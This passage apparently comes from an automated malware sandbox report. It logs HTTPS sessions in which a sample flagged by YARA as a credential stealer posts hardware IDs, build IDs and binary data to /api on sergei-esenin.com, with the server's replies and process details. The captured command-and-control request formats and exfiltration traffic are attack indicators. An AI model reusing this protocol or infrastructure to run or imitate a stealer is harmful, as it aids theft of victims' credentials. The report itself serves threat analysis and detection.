2024-10-24 07:09:10 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=GSZDA9574WqHZCXUa29HnJLn5MiuHOZxKYWbt2dluc0-1729753748-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12864 Host: sergei-esenin.com
2024-10-24 07:09:10 UTC	12864	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 45 46 36 42 35 35 41 45 45 46 37 45 42 31 39 36 45 30 42 37 46 44 30 38 34 30 37 37 44 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5EF6B55AEEF7EB196E0B7FD084077D23--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 07:09:10 UTC	1014	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 07:09:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=as5prg8vamuci7erdkq2rcdtaq; expires=Mon, 17 Feb 2025 00:55:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=F4cqyDLGC5IoXi3xW22XDN0Hm8BoVXFE0HoRk0DmiBoQP05zqg8WG6HviYIlDd%2BY3DedhjprLFIKDhbLnTWLzU83KzyfRoxHy3mdAK4XNclkvLFQhxOQKaIiLnWZ4buTqKApcQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7823caaf4a8d27-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1371&sent=8&recv=19&lost=0&retrans=0&sent_bytes=2844&recv_bytes=13894&delivery_rate=2081955&cwnd=250&unsent_bytes=0&cid=b8ee710af00839df&ts=582&x=0"
2024-10-24 07:09:10 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 07:09:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	50085	104.21.53.8	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 07:09:11 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=GSZDA9574WqHZCXUa29HnJLn5MiuHOZxKYWbt2dluc0-1729753748-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15110 Host: sergei-esenin.com
2024-10-24 07:09:11 UTC	15110	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 45 46 36 42 35 35 41 45 45 46 37 45 42 31 39 36 45 30 42 37 46 44 30 38 34 30 37 37 44 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5EF6B55AEEF7EB196E0B7FD084077D23--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 07:09:11 UTC	1022	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 07:09:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dclh1v0s9u1r29omcjrp1i3boj; expires=Mon, 17 Feb 2025 00:55:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3ZI0IbS53Ait6vmp99TOalyEfIENXdXDwIqCHuKQKNTEZLipfOZLmOU4bJYNAyTsYHmln8Oy6LG65aFn%2BmNRfHz%2B4iRQG8ksBW5u70qO4%2B278qtpEdq0PC46c%2FOE6iYtjN%2B1uw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7823d23f90e99b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1141&sent=10&recv=21&lost=0&retrans=0&sent_bytes=2844&recv_bytes=16140&delivery_rate=2485836&cwnd=57&unsent_bytes=0&cid=513b8e8ff601cefb&ts=584&x=0"
2024-10-24 07:09:11 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 07:09:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	50086	104.21.53.8	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 07:09:12 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=GSZDA9574WqHZCXUa29HnJLn5MiuHOZxKYWbt2dluc0-1729753748-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19968 Host: sergei-esenin.com
2024-10-24 07:09:12 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 45 46 36 42 35 35 41 45 45 46 37 45 42 31 39 36 45 30 42 37 46 44 30 38 34 30 37 37 44 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5EF6B55AEEF7EB196E0B7FD084077D23--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 07:09:12 UTC	4637	OUT	Data Raw: f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 Data Ascii: +?2+?2+?o?Mp5p
2024-10-24 07:09:13 UTC	1015	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 07:09:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tt39p0n0m2c24apbjelnlgg5pv; expires=Mon, 17 Feb 2025 00:55:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=J6QZY0NLvq88K1od4cuIS4WENLm9hCnjXWhm8oWK9G4SQSCpBvYWj7OVYt4fsHuuly11zVvRYYekuN0vswoDiNKp2lhAllVrwUn6aw8zEOL%2BVkUzlJrcqfMjmjsZCIGsdnOSSw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7823d9ff606c3c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1556&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21020&delivery_rate=1887874&cwnd=250&unsent_bytes=0&cid=5c57937481121c0a&ts=692&x=0"
2024-10-24 07:09:13 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 07:09:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	50088	104.21.53.8	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 07:09:14 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=GSZDA9574WqHZCXUa29HnJLn5MiuHOZxKYWbt2dluc0-1729753748-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1235 Host: sergei-esenin.com
2024-10-24 07:09:14 UTC	1235	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 45 46 36 42 35 35 41 45 45 46 37 45 42 31 39 36 45 30 42 37 46 44 30 38 34 30 37 37 44 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5EF6B55AEEF7EB196E0B7FD084077D23--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 07:09:14 UTC	1016	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 07:09:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bef4atnu3tiloajbi56dvfm04q; expires=Mon, 17 Feb 2025 00:55:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sm8nc4z%2Fo6Ma9g1Nld8IWXecmmFjIjUBwhUplDb52NWZJMotAFZcPL%2BsJSw1pkZuM7xNR9zkkPFfu638qMfnbLxdH15OTdiyIRikn2u9U3V6CQjcQJ%2BS6QDWu1EOJ40mTICkfw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7823e3d9c9468c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1183&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2242&delivery_rate=2423430&cwnd=240&unsent_bytes=0&cid=1a59975d0bf1fb97&ts=496&x=0"
2024-10-24 07:09:14 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 07:09:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	50091	104.21.53.8	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 07:09:16 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=GSZDA9574WqHZCXUa29HnJLn5MiuHOZxKYWbt2dluc0-1729753748-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 48553 Host: sergei-esenin.com
2024-10-24 07:09:16 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 45 46 36 42 35 35 41 45 45 46 37 45 42 31 39 36 45 30 42 37 46 44 30 38 34 30 37 37 44 32 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5EF6B55AEEF7EB196E0B7FD084077D23--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 07:09:16 UTC	15331	OUT	Data Raw: cf f2 53 e4 88 da dd 29 a7 57 e3 0c fa 77 12 5b b8 c4 30 71 18 28 6f 99 5c e1 db 8c 2b 83 f7 71 a2 5a 50 a9 02 69 df 22 61 75 62 55 ce 09 50 37 40 d1 4f d2 cc 0e 78 c8 81 a1 8c a2 60 a5 c2 ad ad df ae 3f 7d 58 9e c0 0f 9c 17 33 49 3a 42 ee 51 0f 2c 84 05 a0 37 2f b5 b1 c4 2b be 68 85 56 05 66 ac 70 2b ad 66 e0 66 5b b8 c0 0a 76 8b b3 60 24 60 81 8b 20 ec c6 23 b1 2f bc 85 c2 9a f3 eb 90 4a a0 21 27 60 24 bb 03 56 3e 69 03 1d 1e 7a 40 d0 15 bb d3 f1 69 d4 6f 73 21 be 13 5d 2f 0e a0 22 c8 e3 8b 6f 4b 28 53 97 d5 38 bc 56 9a 79 a9 f7 6f 01 fb dd de ef 21 ed d6 43 f9 bc a7 3e db 9c 98 0a 6a 8b d1 2f f5 fe c4 10 6d a4 cc cf 0c cc 3f 50 30 9b 05 c3 2a c5 c3 c5 1d 31 26 7c c0 95 03 38 e3 af 5c 88 35 bc 94 74 9b 67 c8 4c 1c 70 4b 94 0d d1 52 ae 96 9c 65 6e 5b 6d Data Ascii: S)Ww[0q(o\+qZPi"aubUP7@Ox`?}X3I:BQ,7/+hVfp+ff[v`$` #/J!'`$V>iz@ios!]/"oK(S8Vyo!C>j/m?P0*1&\|8\5tgLpKRen[m
2024-10-24 07:09:16 UTC	15331	OUT	Data Raw: 8f e5 ef 8a f9 1e ee ad 58 1f dc cd 6f 69 cc fd d1 c3 32 58 77 f3 7a af 47 5f 98 cb 43 08 61 f8 42 74 be 64 13 4e ce e3 bb 54 8c b9 65 c1 80 6e d1 d5 c7 8f 72 23 7a 26 4b 99 6c 3c 91 67 8c 6a 71 88 f8 c0 e5 32 1b fc b0 9d 8d a9 cb 74 f4 c5 16 c5 a6 3b 76 a6 2b ce 45 1a 7c 80 d3 e1 3b 77 ee ac b4 4b bd 6a 40 a8 9e bf 44 6c b8 0c dd f1 a3 5e 3f d5 17 0c f4 5e b5 25 6a 24 5e d1 67 c9 fb 6b 53 79 12 3f 03 98 0e e5 03 57 d9 9f 38 f8 45 f0 17 3c 2a 05 dc fa 30 47 f3 80 49 b3 16 43 5c c0 ca 48 33 97 7f 88 e3 6a 00 57 86 75 29 05 eb 39 0c f1 55 58 c6 2b 09 6c 2e ac 70 85 d8 99 bc 9c aa de 88 25 61 0f fb 2a 2c e2 c7 8f 85 78 2c 70 43 2b 9f e8 b4 dd ef 7e e0 22 e4 95 50 7f df 7c 74 21 2c 00 b8 eb 95 37 4d 85 d3 09 84 ad 84 f0 e4 55 0e 50 b5 79 fa a9 79 e3 55 8e 28 Data Ascii: Xoi2XwzG_CaBtdNTenr#z&Kl<gjq2t;v+E\|;wKj@Dl^?^%j$^gkSy?W8E<0GIC\H3jWu)9UX+l.p%a,x,pC+~"P\|t!,7MUPyyU(
2024-10-24 07:09:16 UTC	2560	OUT	Data Raw: 8d cd f6 ee a3 0f 49 cc aa 17 83 4b 55 54 98 d8 3e 51 43 03 9e e6 9a fd a8 bc 18 14 fc 95 6f 68 3f 9c 3b a6 7b dd 23 8e d2 1c ca 9f f8 2e 6d 07 c7 18 d3 c3 c5 6f 28 e7 6d 75 cb b3 8d 05 26 f7 a9 e7 ec 1d ed 49 7e cc 30 8c 0e a3 bd 3f 97 f5 28 ef 7a 12 8f 2b 2f b1 a5 43 b5 53 75 54 35 ff 1c e3 cc 15 d4 ac b9 1e 93 62 79 2a 19 a1 68 23 37 d4 37 d4 e9 ad 36 ec 3b ad a0 bc bd 74 f3 e7 07 58 48 6d ad e1 4a 81 95 4d 7a 91 95 51 df c8 e8 01 ec 58 5d 83 88 2f f1 6d 5c 75 6f 63 cb 02 8e b8 62 8f f6 ee f5 06 21 53 13 77 24 ae 1c 62 68 dc 84 0d 59 94 91 e8 33 a5 52 1d fb 06 2e 23 6c b2 6c 62 57 cb 96 e6 89 d5 f9 a5 d6 4d 2e ae 72 01 df 8f a2 2f 2f 3c a2 2d 94 18 19 13 bf 33 6a ef 54 89 3c cc 1d e7 59 29 93 9b e5 2e 6f d5 d0 84 b5 e0 c5 5c 60 5b d9 eb 9e 1d 9a a0 cf Data Ascii: IKUT>QCoh?;{#.mo(mu&I~0?(z+/CSuT5by*h#776;tXHmJMzQX]/m\uocb!Sw$bhY3R.#llbWM.r//<-3jT<Y).o\`[
2024-10-24 07:09:16 UTC	1023	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 07:09:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=it70npp37jrinh9em53p5a9e8h; expires=Mon, 17 Feb 2025 00:55:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RbNWPgdjhObfQRMCV3OW6fRCOmGb2XnwkPXZreu13%2BHe8l3dLtLhZ%2FR9rpHP22ecamiBdLerQkQXAQwt%2FEqK%2Fw7kC%2Bp1bs3BrYjAjxDXoaDpbFehRfchyB2Ku10MVRh1PxqE7Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7823f01d00e7ff-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1234&sent=22&recv=55&lost=0&retrans=0&sent_bytes=2845&recv_bytes=49693&delivery_rate=2630336&cwnd=251&unsent_bytes=0&cid=325ecafbe00607d2&ts=608&x=0"
2024-10-24 07:09:16 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 07:09:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	50092	104.21.53.8	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 07:09:17 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=GSZDA9574WqHZCXUa29HnJLn5MiuHOZxKYWbt2dluc0-1729753748-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: sergei-esenin.com
2024-10-24 07:09:17 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 35 45 46 36 42 35 35 41 45 45 46 37 45 42 31 39 36 45 30 42 37 46 44 30 38 34 30 37 37 44 32 33 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=5EF6B55AEEF7EB196E0B7FD084077D23
2024-10-24 07:09:17 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 07:09:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e4o8fof73t30i2v0kphuoot987; expires=Mon, 17 Feb 2025 00:55:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ikRcxUtjE0bJGBe46FB0CdW4RwstpFWTM8EKDw%2Bcg8pYw83VAy5l088NK%2BsDvCz3SnvBhM8PbndYcgn7fuw1j0Y1sAqr6KgA6Anbj%2BQ226ryHrK%2BRRLljJ3looUBEKhKTh6jcg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7823f7bdb5e7eb-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1283&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1077&delivery_rate=2203957&cwnd=251&unsent_bytes=0&cid=469cd58e86e80bca&ts=506&x=0"
2024-10-24 07:09:17 UTC	299	IN	Data Raw: 31 32 34 0d 0a 52 30 42 61 41 6f 68 31 6e 62 36 58 56 73 78 30 50 62 68 59 53 45 68 35 38 5a 78 2f 66 63 6d 4b 52 67 71 53 77 79 46 62 38 6e 4d 63 4f 33 68 33 71 6b 2b 2f 31 75 4d 69 76 45 35 68 6c 77 52 6e 65 55 48 45 73 6b 31 4d 2f 4b 52 33 4f 36 48 74 45 47 32 75 58 43 6f 70 4e 47 66 55 57 75 2f 66 2b 54 4b 6a 47 52 50 64 49 43 31 71 56 64 50 36 43 31 2f 7a 75 6d 6f 6f 39 2b 45 62 61 34 39 66 50 47 49 76 49 4c 4a 58 39 63 72 6a 4a 76 59 6f 45 75 52 33 65 58 42 4d 33 36 35 4f 53 4f 65 37 64 7a 6d 38 38 68 63 48 33 51 41 7a 4a 54 74 76 31 46 72 76 33 2f 6b 79 6f 78 6b 54 33 53 41 74 61 6c 58 54 2b 67 74 66 38 37 70 71 4b 50 66 68 47 32 75 50 58 7a 78 69 4c 79 43 79 56 2f 58 4b 34 79 62 32 4b 42 4c 6b 64 33 6c 77 54 4e 2b 75 54 6b 6a 6e 75 33 63 35 76 50 Data Ascii: 124R0BaAoh1nb6XVsx0PbhYSEh58Zx/fcmKRgqSwyFb8nMcO3h3qk+/1uMivE5hlwRneUHEsk1M/KR3O6HtEG2uXCopNGfUWu/f+TKjGRPdIC1qVdP6C1/zumoo9+Eba49fPGIvILJX9crjJvYoEuR3eXBM365OSOe7dzm88hcH3QAzJTtv1Frv3/kyoxkT3SAtalXT+gtf87pqKPfhG2uPXzxiLyCyV/XK4yb2KBLkd3lwTN+uTkjnu3c5vP
2024-10-24 07:09:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	03:07:08
Start date:	24/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xa20000
File size:	2'958'848 bytes
MD5 hash:	15B9109C23747163A74018275BB88207
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2267291789.000000000069B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2267376515.00000000006A7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:07:27
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\A94C1J5VAPFWM1J1FS.exe
Wow64 process (32bit):	true
